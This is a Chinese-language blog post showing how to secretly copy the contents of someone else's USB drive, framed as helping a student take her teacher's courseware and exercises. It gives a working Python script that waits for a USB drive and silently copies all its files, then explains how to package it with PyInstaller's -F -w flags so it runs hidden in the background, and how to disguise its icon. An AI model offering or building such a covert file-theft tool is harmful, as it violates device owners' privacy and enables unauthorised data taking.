今天有个读大学的小姐姐找到我,问我有没有什么办法可以复制U盘文件,我很疑惑她复制U盘要干啥呢,仔细问了才知道小姐姐打算复制老师的U盘,看里面课件还有练习题,嗯,好学生呀,我就想直接分享出方法,大家一起受益。首先分两步,写出Python代码,其次把.py文件转换成exe文件,直接在windows电脑上后台运行,就可以成功了。
一、参考代码
import os
import time
from datetime import datetime
import shutil
usb_path = "E:/"
save_path = "D:/haha"
while (True):
if os.path.exists(usb_path):
shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
break
else:
time.sleep(10)
小笔记: usb_path 是U盘的盘符 save_path 是你要把复制的文件保存在哪里
二、Python文件转换成exe
上面代码敲好后,第二步把Python文件转换成exe文件
- 在命令行用pip安装 pyinstaller包
pip install pyinstaller
2.下载安装pyinstaler运行时所需要的windows扩展pywin32
mhammond/pywin32
小笔记 : 选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)。
通过在命令行输入python查看python版本和位数。如下所示:
当python3.6是32位,需要下载pywin32-223.win32-py3.6.exe
Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32
当python3.6是64位,需要下载pywin32-223.win-amd64-py3.6.exe
Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32
3.在命令行中直接输入下面的指令即可
pyinstaller [opts] yourprogram.py
三、举个怎么转换exe的例子
比如有个Python程序叫test.py ,绝对路径在[D:\project] ,打包成一个exe格式的文件
pyinstaller -F D:\project\test.py
条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行
pyinstaller -F -w D:\project\test.py
条件同上,如果还希望更换程序图标
pyinstaller -F -w -i D:\project\test.ico D:\project\test.py
参数含义
1.-F 指定打包后只生成一个exe格式的文件(建议写上这个参数)
2.-D –onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)
3.-c –console, –nowindowed 使用控制台,无界面(默认)
4.-w –windowed, –noconsole 使用窗口,无控制台
5.-p 添加搜索路径,让其找到对应的库
6.-i 改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)
程序运行的结果
最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。
希望这次分享可以给你们提供到学习的作用,我叫鬼鬼kikm,是一名在线工作的程序员,喜欢分享,关注我三连,对于Python编程这方面有问题可以找我,乐于解答。
|